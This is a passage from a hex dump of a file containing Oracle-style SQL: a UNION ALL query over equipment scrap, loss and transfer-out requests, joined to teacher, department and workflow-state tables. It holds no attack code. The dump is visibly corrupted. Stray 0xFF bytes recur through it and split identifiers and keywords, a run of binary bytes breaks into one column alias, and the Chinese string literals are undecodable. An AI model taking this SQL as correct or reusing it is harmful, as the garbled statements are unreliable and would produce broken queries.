11b0: 4E 54 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 20 NT_MONEY,.
11c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6D 61 ma
11d0: 78 28 65 71 75 2E 50 52 49 43 45 20 2B 20 6E 76 x(equ.PRICE + nv
11e0: 6C 28 65 71 75 2E 61 74 74 61 63 68 5F 70 72 69 l(equ.attach_pri
11f0: 63 65 2C 20 30 29 29 20 41 53 20 45 51 55 49 50 ce, 0)) AS EQUIP
1200: 4D 45 4E 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 0A MENT_MAX_MONEY,.
1210: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1220: 20 20 20 20 6D 69 6E 28 65 71 75 2E 63 6F 64 65 min(equ.code
1230: 20 7C 7C 20 27 2D 27 20 7C 7C 20 65 71 75 2E 6E || '-' || equ.n
1240: 61 6D 65 29 20 61 73 20 73 75 62 0A 20 20 20 20 ame) as sub.
1250: 20 20 20 20 20 20 20 20 20 20 20 46 52 4F 4D FF FROM.
1260: 20 45 51 55 49 50 4D 45 4E 54 5F 73 63 72 61 70 EQUIPMENT_scrap
1270: 5F 4C 49 53 54 20 45 43 4C 0A 20 20 20 20 20 20 _LIST ECL.
1280: 20 20 20 20 20 20 20 20 20 6C 65 66 74 20 6A 6F left jo
1290: 69 6E 20 65 71 75 69 70 6D 65 6E 74 20 65 71 75 in equipment equ
12a0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .
12b0: 20 20 6F 6E 20 65 63 6C 2E 65 71 75 69 70 6D 65 on ecl.equipme
12c0: 6E 74 5F 63 6F 64 65 20 3D 20 65 71 75 2E 63 6F nt_code = equ.co
12d0: 64 65 20 67 72 6F 75 70 20 62 79 20 65 63 6C 2E de group by ecl.
12e0: 45 51 55 49 50 4D 45 4E 54 5F 73 63 72 61 70 5F EQUIPMENT_scrap_
12f0: 49 44 29 20 54 0A 20 20 20 20 4F 4E 20 45 43 2E ID) T. ON EC.
1300: 49 44 20 3D 20 54 2E 45 51 55 49 50 4D 45 4E 54 ID = T.EQUIPMENT
1310: 5F 73 63 72 61 70 5F 49 44 0A 20 20 4C 45 46 54 _scrap_ID. LEFT
1320: 20 4A 4F 49 4E 20 45 51 55 49 50 4D 45 4E 54 5F JOIN EQUIPMENT_
1330: 73 63 72 61 70 5F 53 45 51 55 45 4E 43 45 20 45 scrap_SEQUENCE E
1340: 43 53 0A 20 20 20 20 4F 4E 20 45 43 2E 49 44 20 CS. ON EC.ID
1350: 3D 20 45 43 53 2E 45 51 55 49 50 4D 45 4E 54 FF = ECS.EQUIPMENT.
1360: 5F 73 63 72 61 70 5F 49 44 0A 20 20 20 41 4E 44 _scrap_ID. AND
1370: 20 45 43 53 2E 49 53 5F 43 55 52 52 45 4E 54 20 ECS.IS_CURRENT
1380: 3D 20 31 0A 20 20 4C 45 46 54 20 4A 4F 49 4E 20 = 1. LEFT JOIN
1390: 56 5F 53 59 53 54 45 4D 5F 42 50 4D 5F 53 54 41 V_SYSTEM_BPM_STA
13a0: 54 45 20 42 50 4D 0A 20 20 20 20 4F 4E 20 45 43 TE BPM. ON EC
13b0: 53 2E 42 50 4D 5F 4E 4F 20 3D 20 42 50 4D 2E 4B S.BPM_NO = BPM.K
13c0: 45 59 0A 20 20 6C 65 66 74 20 6A 6F 69 6E 20 62 EY. left join b
13d0: 61 73 65 5F 64 65 70 20 62 64 20 6F 6E 20 62 64 ase_dep bd on bd
13e0: 2E 63 6F 64 65 20 3D 20 74 2E 62 61 73 65 5F 64 .code = t.base_d
13f0: 65 70 5F 63 6F 64 65 0A 20 20 20 6C 65 66 74 20 ep_code. left
1400: 6A 6F 69 6E 20 65 71 75 69 70 6D 65 6E 74 5F 6D join equipment_m
1410: 65 72 67 65 20 65 6D 0A 20 20 20 20 6F 6E 20 45 erge em. on E
1420: 43 53 2E 62 70 6D 5F 6E 6F 20 3D 20 65 6D 2E 6E CS.bpm_no = em.n
1430: 65 77 5F 62 70 6D 5F 6E 6F 0A 0A 75 6E 69 6F 6E ew_bpm_no..union
1440: 20 61 6C 6C 0A 73 65 6C 65 43 54 20 27 6C 6F 73 all.seleCT 'los
1450: 74 27 20 61 73 20 74 79 70 65 2C 0A 20 20 20 FF t' as type,. .
1460: 20 20 20 20 27 B1 A8 CA A7 27 20 61 73 20 74 79 '....' as ty
1470: 70 65 5F 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 pe_name,.
1480: 65 63 2E 61 73 73 65 74 73 5F 74 79 70 65 2C 0A ec.assets_type,.
1490: 20 20 20 20 20 20 20 45 43 2E 49 44 2C 0A 20 20 EC.ID,.
14a0: 20 20 20 20 20 45 43 2E 52 45 51 55 45 53 54 5F EC.REQUEST_
14b0: 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 65 63 2E TIME,. ec.
14c0: 72 65 71 75 65 73 74 5F 74 79 70 65 2C 0A 20 20 request_type,.
14d0: 20 20 20 20 20 74 2E 62 61 73 65 5F 64 65 70 5F t.base_dep_
14e0: 63 6F 64 65 2C 0A 20 20 20 20 20 20 20 62 64 2E code,. bd.
14f0: 6E 61 6D 65 20 61 73 20 62 61 73 65 5F 64 65 70 name as base_dep
1500: 5F 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 45 43 _name,. EC
1510: 2E 42 41 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F .BASE_TEACHER_NO
1520: 5F 72 65 71 75 65 73 74 20 62 61 73 65 5F 74 65 _request base_te
1530: 61 63 68 65 72 5F 6E 6F 5F 72 65 71 75 65 73 74 acher_no_request
1540: 2C 0A 20 20 20 20 20 20 20 42 54 31 2E 4E 41 4D ,. BT1.NAM
1550: 45 20 41 53 20 42 41 53 45 5F 54 45 41 43 48 FF E AS BASE_TEACH.
1560: 45 52 5F 4E 41 4D 45 5F 52 45 51 55 45 53 54 2C ER_NAME_REQUEST,
1570: 0A 20 20 20 20 20 20 20 6E 76 6C 28 62 74 31 2E . nvl(bt1.
1580: 6D 6F 62 69 6C 65 2C 62 74 31 2E 74 65 6C 65 70 mobile,bt1.telep
1590: 68 6F 6E 65 29 20 70 68 6F 6E 65 2C 0A 20 20 20 hone) phone,.
15a0: 20 20 20 20 4E 56 4C 28 54 2E 4E 55 4D 2C 20 30 NVL(T.NUM, 0
15b0: 29 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F 43 ) AS EQUIPMENT_C
15c0: 4F 55 4E 54 2C 0A 20 20 20 20 20 20 20 4E 56 4C OUNT,. NVL
15d0: 28 54 2E 45 51 55 49 50 4D 45 4E 54 5F 4D 4F 4E (T.EQUIPMENT_MON
15e0: 45 59 2C 20 30 29 20 41 53 20 45 51 55 49 50 4D EY, 0) AS EQUIPM
15f0: 45 4E 54 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 ENT_MONEY,.
1600: 20 20 4E 56 4C 28 54 2E 45 51 55 49 50 4D 45 4E NVL(T.EQUIPMEN
1610: 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 20 30 29 20 T_MAX_MONEY, 0)
1620: 41 53 20 45 51 55 49 50 4D 45 4E 54 5F 4D 41 58 AS EQUIPMENT_MAX
1630: 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 20 20 45 _MONEY,. E
1640: 43 53 2E 42 50 4D 5F 4E 4F 2C 0A 20 20 20 20 20 CS.BPM_NO,.
1650: 20 20 6E 76 6C 28 45 43 53 2E 53 54 41 54 45 FF nvl(ECS.STATE.
1660: 2C 20 2D 33 29 20 61 73 20 73 74 61 74 65 2C 0A , -3) as state,.
1670: 20 20 20 20 20 20 20 65 63 73 2E 73 75 62 6D 69 ecs.submi
1680: 74 5F 74 69 6D 65 2C 0A 20 20 20 20 20 20 20 62 t_time,. b
1690: 70 6D 2E 54 4F 4B 45 4E 5F 54 49 4D 45 2C 0A 20 pm.TOKEN_TIME,.
16a0: 20 20 20 20 20 20 42 50 4D 2E 50 52 4F 43 45 53 BPM.PROCES
16b0: 53 5F 49 44 2C 0A 20 20 20 20 20 20 20 42 50 4D S_ID,. BPM
16c0: 2E 4A 42 50 4D 5F 4E 4F 44 45 44 45 46 49 4E 49 .JBPM_NODEDEFINI
16d0: 54 49 4F 4E 2C 0A 20 20 20 20 20 20 20 42 50 4D TION,. BPM
16e0: 2E 70 72 6F 63 65 73 73 5F 70 61 67 65 5F 61 65 .process_page_ae
16f0: 78 70 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 44 xp,. BPM.D
1700: 45 46 49 4E 49 54 49 4F 4E 2C 0A 20 20 20 20 20 EFINITION,.
1710: 20 20 42 50 4D 2E 4E 4F 44 45 2C 0A 20 20 20 20 BPM.NODE,.
1720: 20 20 20 42 50 4D 2E 4E 4F 44 45 5F 4E 41 4D 45 BPM.NODE_NAME
1730: 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 45 4E 44 ,. BPM.END
1740: 5F 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 27 C9 _TIME,. '.
1750: EA C7 EB 27 20 7C 7C 20 43 41 53 45 0A 20 20 FF ...' || CASE. .
1760: 20 20 20 20 20 20 20 57 48 45 4E 20 54 2E 4E 55 WHEN T.NU
1770: 4D 20 3E 20 31 20 54 48 45 4E 0A 20 20 20 20 20 M > 1 THEN.
1780: 20 20 20 20 20 54 2E 53 55 42 20 7C 7C 20 27 B5 T.SUB || '.
1790: C8 27 20 7C 7C 20 4E 56 4C 28 54 2E 4E 55 4D 2C .' || NVL(T.NUM,
17a0: 20 30 29 20 7C 7C 20 27 CC A8 2F CC D7 D7 CA B2 0) || '../.....
17b0: FA 27 0A 20 20 20 20 20 20 20 20 20 45 4C 53 45 .'. ELSE
17c0: 0A 20 20 20 20 20 20 20 20 20 20 54 2E 53 55 42 . T.SUB
17d0: 0A 20 20 20 20 20 20 20 45 4E 44 20 7C 7C 20 27 . END || '
17e0: B5 C4 B1 A8 CA A7 D2 B5 CE F1 27 20 41 53 20 53 ..........' AS S
17f0: 55 42 4A 45 43 54 2C 0A 20 20 20 20 20 20 20 62 UBJECT,. b
1800: 70 6D 2E 63 61 6E 5F 62 61 63 6B 2C 0A 20 20 20 pm.can_back,.
1810: 20 20 20 20 62 70 6D 2E 61 64 76 69 63 65 2C 0A bpm.advice,.
1820: 20 20 20 20 20 20 20 27 27 20 70 72 6F 76 69 64 '' provid
1830: 65 72 2C 0A 20 20 20 20 20 20 20 27 27 20 63 68 er,. '' ch
1840: 61 6E 67 65 70 72 69 63 65 2C 0A 20 20 20 20 20 angeprice,.
1850: 20 20 27 27 20 45 53 54 49 4D 41 54 45 5F 43 FF '' ESTIMATE_C.
1860: 4F 53 54 2C 0A 20 20 20 20 20 20 20 27 27 20 6D OST,. '' m
1870: 65 72 67 65 5F 70 72 6F 63 65 73 73 2C 0A 20 20 erge_process,.
1880: 20 20 20 20 20 27 27 20 61 73 20 72 65 6D 61 72 '' as remar
1890: 6B 2C 0A 20 20 20 20 20 20 20 20 6E 75 6C 6C 20 k,. null
18a0: 62 61 63 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 backstock_type.
18b0: 20 46 52 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F FROM EQUIPMENT_
18c0: 6C 6F 73 74 20 45 43 0A 20 20 4C 45 46 54 20 4A lost EC. LEFT J
18d0: 4F 49 4E 20 42 41 53 45 5F 54 45 41 43 48 45 52 OIN BASE_TEACHER
18e0: 20 42 54 31 0A 20 20 20 20 4F 4E 20 45 43 2E 42 BT1. ON EC.B
18f0: 41 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F 72 ASE_TEACHER_NO_r
1900: 65 71 75 65 73 74 20 3D 20 42 54 31 2E 4E 4F 0A equest = BT1.NO.
1910: 20 20 4C 45 46 54 20 4A 4F 49 4E 20 28 53 45 4C LEFT JOIN (SEL
1920: 45 43 54 20 73 75 6D 28 63 61 73 65 0A 20 20 20 ECT sum(case.
1930: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1940: 20 20 20 20 20 20 20 20 20 77 68 65 6E 20 45 43 when EC
1950: 4C 2E 53 54 41 54 45 20 49 53 20 4E 55 4C 4C FF L.STATE IS NULL.
1960: 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 3D OR ECL.STATE !=
1970: 20 2D 31 20 74 68 65 6E 0A 20 20 20 20 20 20 20 -1 then.
1980: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1990: 20 20 20 20 20 20 31 0A 20 20 20 20 20 20 20 20 1.
19a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
19b0: 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 20 else.
19c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
19d0: 20 20 20 20 20 20 30 0A 20 20 20 20 20 20 20 20 0.
19e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
19f0: 20 20 65 6E 64 29 20 41 53 20 4E 55 4D 2C 0A 20 end) AS NUM,.
1a00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1a10: 20 20 20 45 43 4C 2E 45 51 55 49 50 4D 45 4E 54 ECL.EQUIPMENT
1a20: 5F 6C 6F 73 74 5F 49 44 2C 0A 20 20 20 20 20 20 _lost_ID,.
1a30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4D 49 MI
1a40: 4E 28 65 71 75 2E 42 41 53 45 5F 44 45 50 5F 43 N(equ.BASE_DEP_C
1a50: 4F 44 45 29 20 41 53 20 42 41 53 45 5F 44 45 FF ODE) AS BASE_DE.
1a60: 50 5F 43 4F 44 45 2C 0A 20 20 20 20 20 20 20 20 P_CODE,.
1a70: 20 20 20 20 20 20 20 20 20 20 20 20 53 55 4D 28 SUM(
1a80: 63 61 73 65 0A 20 20 20 20 20 20 20 20 20 20 20 case.
1a90: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 w
1aa0: 68 65 6E 20 45 43 4C 2E 53 54 41 54 45 20 49 53 hen ECL.STATE IS
1ab0: 20 4E 55 4C 4C 20 4F 52 20 45 43 4C 2E 53 54 41 NULL OR ECL.STA
1ac0: 54 45 20 21 3D 20 2D 31 20 74 68 65 6E 0A 20 20 TE != -1 then.
1ad0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1ae0: 20 20 20 20 20 20 20 20 20 65 71 75 2E 50 52 49 equ.PRI
1af0: 43 45 20 2B 20 6E 76 6C 28 65 71 75 2E 61 74 74 CE + nvl(equ.att
1b00: 61 63 68 5F 70 72 69 63 65 2C 20 30 29 0A 20 20 ach_price, 0).
1b10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1b20: 20 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 else.
1b30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1b40: 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 20 0.
1b50: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 FF .
1b60: 20 20 20 65 6E 64 29 20 41 53 20 45 51 55 49 50 end) AS EQUIP
1b70: 4D 45 4E 54 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 MENT_MONEY,.
1b80: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1b90: 6D 61 78 28 65 71 75 2E 50 52 49 43 45 20 2B 20 max(equ.PRICE +
1ba0: 6E 76 6C 28 65 71 75 2E 61 74 74 61 63 68 5F 70 nvl(equ.attach_p
1bb0: 72 69 63 65 2C 20 30 29 29 20 41 53 20 45 51 55 rice, 0)) AS EQU
1bc0: 49 50 4D 45 4E 54 5F 4D 41 58 5F 4D 4F 4E 45 59 IPMENT_MAX_MONEY
1bd0: 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ,.
1be0: 20 20 20 20 20 20 6D 69 6E 28 65 71 75 2E 63 6F min(equ.co
1bf0: 64 65 20 7C 7C 20 27 2D 27 20 7C 7C 20 65 71 75 de || '-' || equ
1c00: 2E 6E 61 6D 65 29 20 61 73 20 73 75 62 0A 20 20 .name) as sub.
1c10: 20 20 20 20 20 20 20 20 20 20 20 20 20 46 52 4F FRO
1c20: 4D 20 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 74 M EQUIPMENT_lost
1c30: 5F 4C 49 53 54 20 45 43 4C 0A 20 20 20 20 20 20 _LIST ECL.
1c40: 20 20 20 20 20 20 20 20 20 6C 65 66 74 20 6A 6F left jo
1c50: 69 6E 20 65 71 75 69 70 6D 65 6E 74 20 65 71 FF in equipment eq.
1c60: 75 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 u.
1c70: 20 20 20 6F 6E 20 65 63 6C 2E 65 71 75 69 70 6D on ecl.equipm
1c80: 65 6E 74 5F 63 6F 64 65 20 3D 20 65 71 75 2E 63 ent_code = equ.c
1c90: 6F 64 65 0A 20 20 20 20 20 20 20 20 20 20 20 20 ode.
1ca0: 20 20 47 52 4F 55 50 20 42 59 20 45 43 4C 2E 45 GROUP BY ECL.E
1cb0: 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 74 5F 49 44 QUIPMENT_lost_ID
1cc0: 29 20 54 0A 20 20 20 20 4F 4E 20 45 43 2E 49 44 ) T. ON EC.ID
1cd0: 20 3D 20 54 2E 45 51 55 49 50 4D 45 4E 54 5F 6C = T.EQUIPMENT_l
1ce0: 6F 73 74 5F 49 44 0A 20 20 4C 45 46 54 20 4A 4F ost_ID. LEFT JO
1cf0: 49 4E 20 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 IN EQUIPMENT_los
1d00: 74 5F 53 45 51 55 45 4E 43 45 20 45 43 53 0A 20 t_SEQUENCE ECS.
1d10: 20 20 20 4F 4E 20 45 43 2E 49 44 20 3D 20 45 43 ON EC.ID = EC
1d20: 53 2E 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 74 S.EQUIPMENT_lost
1d30: 5F 49 44 0A 20 20 20 41 4E 44 20 45 43 53 2E 49 _ID. AND ECS.I
1d40: 53 5F 43 55 52 52 45 4E 54 20 3D 20 31 0A 20 20 S_CURRENT = 1.
1d50: 4C 45 46 54 20 4A 4F 49 4E 20 56 5F 53 59 53 FF LEFT JOIN V_SYS.
1d60: 54 45 4D 5F 42 50 4D 5F 53 54 41 54 45 20 42 50 TEM_BPM_STATE BP
1d70: 4D 0A 20 20 20 20 4F 4E 20 45 43 53 2E 42 50 4D M. ON ECS.BPM
1d80: 5F 4E 4F 20 3D 20 42 50 4D 2E 4B 45 59 0A 20 20 _NO = BPM.KEY.
1d90: 6C 65 66 74 20 6A 6F 69 6E 20 62 61 73 65 5F 64 left join base_d
1da0: 65 70 20 62 64 20 6F 6E 20 62 64 2E 63 6F 64 65 ep bd on bd.code
1db0: 20 3D 20 74 2E 62 61 73 65 5F 64 65 70 5F 63 6F = t.base_dep_co
1dc0: 64 65 0A 75 6E 69 6F 6E 20 61 6C 6C 0A 73 65 6C de.union all.sel
1dd0: 65 43 54 20 27 66 6C 69 74 74 69 6E 67 6F 75 74 eCT 'flittingout
1de0: 27 20 61 73 20 74 79 70 65 2C 0A 20 20 20 20 20 ' as type,.
1df0: 20 20 27 D7 AA B3 F6 27 20 61 73 20 74 79 70 65 '....' as type
1e00: 5F 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 65 63 _name,. ec
1e10: 2E 61 73 73 65 74 73 5F 74 79 70 65 2C 0A 20 20 .assets_type,.
1e20: 20 20 20 20 20 45 43 2E 49 44 2C 0A 20 20 20 20 EC.ID,.
1e30: 20 20 20 45 43 2E 52 45 51 55 45 53 54 5F 54 49 EC.REQUEST_TI
1e40: 4D 45 2C 0A 20 20 20 20 20 20 20 65 63 2E 72 65 ME,. ec.re
1e50: 71 75 65 73 74 5F 74 79 70 65 2C 0A 20 20 20 FF quest_type,. .
1e60: 20 20 20 20 74 2E 62 61 73 65 5F 64 65 70 5F 63 t.base_dep_c
1e70: 6F 64 65 2C 0A 20 20 20 20 20 20 20 62 64 2E 6E ode,. bd.n
1e80: 61 6D 65 20 61 73 20 62 61 73 65 5F 64 65 70 5F ame as base_dep_
1e90: 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 45 43 2E name,. EC.
1ea0: 42 41 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F BASE_TEACHER_NO_
1eb0: 72 65 71 75 65 73 74 2C 0A 20 20 20 20 20 20 20 request,.
1ec0: 42 54 31 2E 4E 41 4D 45 20 41 53 20 42 41 53 45 BT1.NAME AS BASE
1ed0: 5F 54 45 41 43 48 45 52 5F 4E 41 4D 45 5F 52 45 _TEACHER_NAME_RE
1ee0: 51 55 45 53 54 2C 0A 20 20 20 20 20 20 20 6E 76 QUEST,. nv
1ef0: 6C 28 62 74 31 2E 6D 6F 62 69 6C 65 2C 62 74 31 l(bt1.mobile,bt1
1f00: 2E 74 65 6C 65 70 68 6F 6E 65 29 20 70 68 6F 6E .telephone) phon
1f10: 65 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 54 2E e,. NVL(T.
1f20: 4E 55 4D 2C 20 30 29 20 41 53 20 45 51 55 49 50 NUM, 0) AS EQUIP
1f30: 4D 45 4E 54 5F 43 4F 55 4E 54 2C 0A 20 20 20 20 MENT_COUNT,.
1f40: 20 20 20 4E 56 4C 28 54 2E 45 51 55 49 50 4D 45 NVL(T.EQUIPME
1f50: 4E 54 5F 4D 4F 4E 45 59 2C 20 30 29 20 41 53 FF NT_MONEY, 0) AS.
1f60: 20 45 51 55 49 50 4D 45 4E 54 5F 4D 4F 4E 45 59 EQUIPMENT_MONEY
1f70: 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 54 2E 45 ,. NVL(T.E
1f80: 51 55 49 50 4D 45 4E 54 5F 4D 41 58 5F 4D 4F 4E QUIPMENT_MAX_MON
1f90: 45 59 2C 20 30 29 20 41 53 20 45 51 55 49 50 4D EY, 0) AS EQUIPM
1fa0: 45 4E 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 0A 20 ENT_MAX_MONEY,.
1fb0: 20 20 20 20 20 20 45 43 53 2E 42 50 4D 5F 4E 4F ECS.BPM_NO
1fc0: 2C 0A 20 20 20 20 20 20 20 6E 76 6C 28 45 43 53 ,. nvl(ECS
1fd0: 2E 53 54 41 54 45 2C 20 2D 33 29 20 61 11 5E 00 .STATE, -3) a.^.
1fe0: 00 06 00 00 00 00 00 73 20 73 74 61 74 65 2C 0A .......s state,.
1ff0: 20 20 20 20 20 20 20 65 63 73 2E 73 75 62 6D 69 ecs.submi
2000: 74 5F 74 69 6D 65 2C 0A 20 20 20 20 20 20 20 62 t_time,. b
2010: 70 6D 2E 54 4F 4B 45 4E 5F 54 49 4D 45 2C 0A 20 pm.TOKEN_TIME,.
2020: 20 20 20 20 20 20 42 50 4D 2E 50 52 4F 43 45 53 BPM.PROCES
2030: 53 5F 49 44 2C 0A 20 20 20 20 20 20 20 42 50 4D S_ID,. BPM
2040: 2E 4A 42 50 4D 5F 4E 4F 44 45 44 45 46 49 4E 49 .JBPM_NODEDEFINI
2050: 54 49 4F 4E 2C 0A 20 20 20 20 20 20 20 42 50 4D TION,. BPM
2060: 2E 70 72 6F 63 65 73 73 5F FF 70 61 67 65 5F 61 .process_.page_a
2070: 65 78 70 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E exp,. BPM.
2080: 44 45 46 49 4E 49 54 49 4F 4E 2C 0A 20 20 20 20 DEFINITION,.
2090: 20 20 20 42 50 4D 2E 4E 4F 44 45 2C 0A 20 20 20 BPM.NODE,.
20a0: 20 20 20 20 42 50 4D 2E 4E 4F 44 45 5F 4E 41 4D BPM.NODE_NAM
20b0: 45 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 45 4E E,. BPM.EN
20c0: 44 5F 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 27 D_TIME,. '
20d0: C9 EA C7 EB 27 20 7C 7C 20 43 41 53 45 0A 20 20 ....' || CASE.
20e0: 20 20 20 20 20 20 20 57 48 45 4E 20 54 2E 4E 55 WHEN T.NU
20f0: 4D 20 3E 20 31 20 54 48 45 4E 0A 20 20 20 20 20 M > 1 THEN.
2100: 20 20 20 20 20 54 2E 53 55 42 20 7C 7C 20 27 B5 T.SUB || '.
2110: C8 27 20 7C 7C 20 4E 56 4C 28 54 2E 4E 55 4D 2C .' || NVL(T.NUM,
2120: 20 30 29 20 7C 7C 20 27 CC A8 2F CC D7 D7 CA B2 0) || '../.....
2130: FA 27 0A 20 20 20 20 20 20 20 20 20 45 4C 53 45 .'. ELSE
2140: 0A 20 20 20 20 20 20 20 20 20 20 54 2E 53 55 42 . T.SUB
2150: 0A 20 20 20 20 20 20 20 45 4E 44 20 7C 7C 20 27 . END || '
2160: B5 C4 D7 AA B3 F6 D2 B5 CE FF F1 27 20 41 53 20 ...........' AS
2170: 53 55 42 4A 45 43 54 2C 0A 20 20 20 20 20 20 20 SUBJECT,.
2180: 62 70 6D 2E 63 61 6E 5F 62 61 63 6B 2C 0A 20 20 bpm.can_back,.
2190: 20 20 20 20 20 62 70 6D 2E 61 64 76 69 63 65 2C bpm.advice,
21a0: 0A 20 20 20 20 20 20 20 27 27 20 70 72 6F 76 69 . '' provi
21b0: 64 65 72 2C 0A 20 20 20 20 20 20 20 27 27 20 63 der,. '' c
21c0: 68 61 6E 67 65 70 72 69 63 65 2C 0A 20 20 20 20 hangeprice,.
21d0: 20 20 20 27 27 20 45 53 54 49 4D 41 54 45 5F 43 '' ESTIMATE_C
21e0: 4F 53 54 2C 0A 20 20 20 20 20 20 20 27 27 20 6D OST,. '' m
21f0: 65 72 67 65 5F 70 72 6F 63 65 73 73 2C 0A 20 20 erge_process,.
2200: 20 20 20 20 20 65 63 2E 72 65 6D 61 72 6B 2C 0A ec.remark,.
2210: 20 20 20 20 20 20 20 20 6E 75 6C 6C 20 62 61 63 null bac
2220: 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 20 46 52 kstock_type. FR
2230: 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F 66 6C 69 OM EQUIPMENT_fli
2240: 74 74 69 6E 67 6F 75 74 20 45 43 0A 20 20 4C 45 ttingout EC. LE
2250: 46 54 20 4A 4F 49 4E 20 42 41 53 45 5F 54 45 41 FT JOIN BASE_TEA
2260: 43 48 45 52 20 42 54 31 0A FF 20 20 20 20 4F 4E CHER BT1.. ON
2270: 20 45 43 2E 42 41 53 45 5F 54 45 41 43 48 45 52 EC.BASE_TEACHER
2280: 5F 4E 4F 5F 72 65 71 75 65 73 74 20 3D 20 42 54 _NO_request = BT
2290: 31 2E 4E 4F 0A 20 20 4C 45 46 54 20 4A 4F 49 4E 1.NO. LEFT JOIN
22a0: 20 28 53 45 4C 45 43 54 20 73 75 6D 28 63 61 73 (SELECT sum(cas
22b0: 65 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e.
22c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 wh
22d0: 65 6E 20 45 43 4C 2E 53 54 41 54 45 20 49 53 20 en ECL.STATE IS
22e0: 4E 55 4C 4C 20 4F 52 20 45 43 4C 2E 53 54 41 54 NULL OR ECL.STAT
22f0: 45 20 21 3D 20 2D 31 20 74 68 65 6E 0A 20 20 20 E != -1 then.
2300: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2310: 20 20 20 20 20 20 20 20 20 20 31 0A 20 20 20 20 1.
2320: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2330: 20 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 else.
2340: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2350: 20 20 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 0.
2360: 20 20 20 20 20 20 20 20 20 FF 20 20 20 20 20 20 .
2370: 20 20 20 20 20 20 20 65 6E 64 29 20 41 53 20 4E end) AS N
2380: 55 4D 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 UM,.
2390: 20 20 20 20 20 20 20 20 45 43 4C 2E 45 51 55 49 ECL.EQUI
23a0: 50 4D 45 4E 54 5F 66 6C 69 74 74 69 6E 67 6F 75 PMENT_flittingou
23b0: 74 5F 49 44 2C 0A 20 20 20 20 20 20 20 20 20 20 t_ID,.
23c0: 20 20 20 20 20 20 20 20 20 20 4D 49 4E 28 65 71 MIN(eq
23d0: 75 2E 42 41 53 45 5F 44 45 50 5F 43 4F 44 45 29 u.BASE_DEP_CODE)
23e0: 20 41 53 20 42 41 53 45 5F 44 45 50 5F 43 4F 44 AS BASE_DEP_COD
23f0: 45 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 E,.
2400: 20 20 20 20 20 20 20 53 55 4D 28 63 61 73 65 0A SUM(case.
2410: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2420: 20 20 20 20 20 20 20 20 20 20 77 68 65 6E 20 45 when E
2430: 43 4C 2E 53 54 41 54 45 20 49 53 20 4E 55 4C 4C CL.STATE IS NULL
2440: 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 3D OR ECL.STATE !=
2450: 20 2D 31 20 74 68 65 6E 0A 20 20 20 20 20 20 20 -1 then.
2460: 20 20 20 20 20 20 20 20 20 FF 20 20 20 20 20 20 .
2470: 20 20 20 20 20 65 71 75 2E 50 52 49 43 45 20 2B equ.PRICE +
2480: 20 6E 76 6C 28 65 71 75 2E 61 74 74 61 63 68 5F nvl(equ.attach_
2490: 70 72 69 63 65 2C 20 30 29 0A 20 20 20 20 20 20 price, 0).
24a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
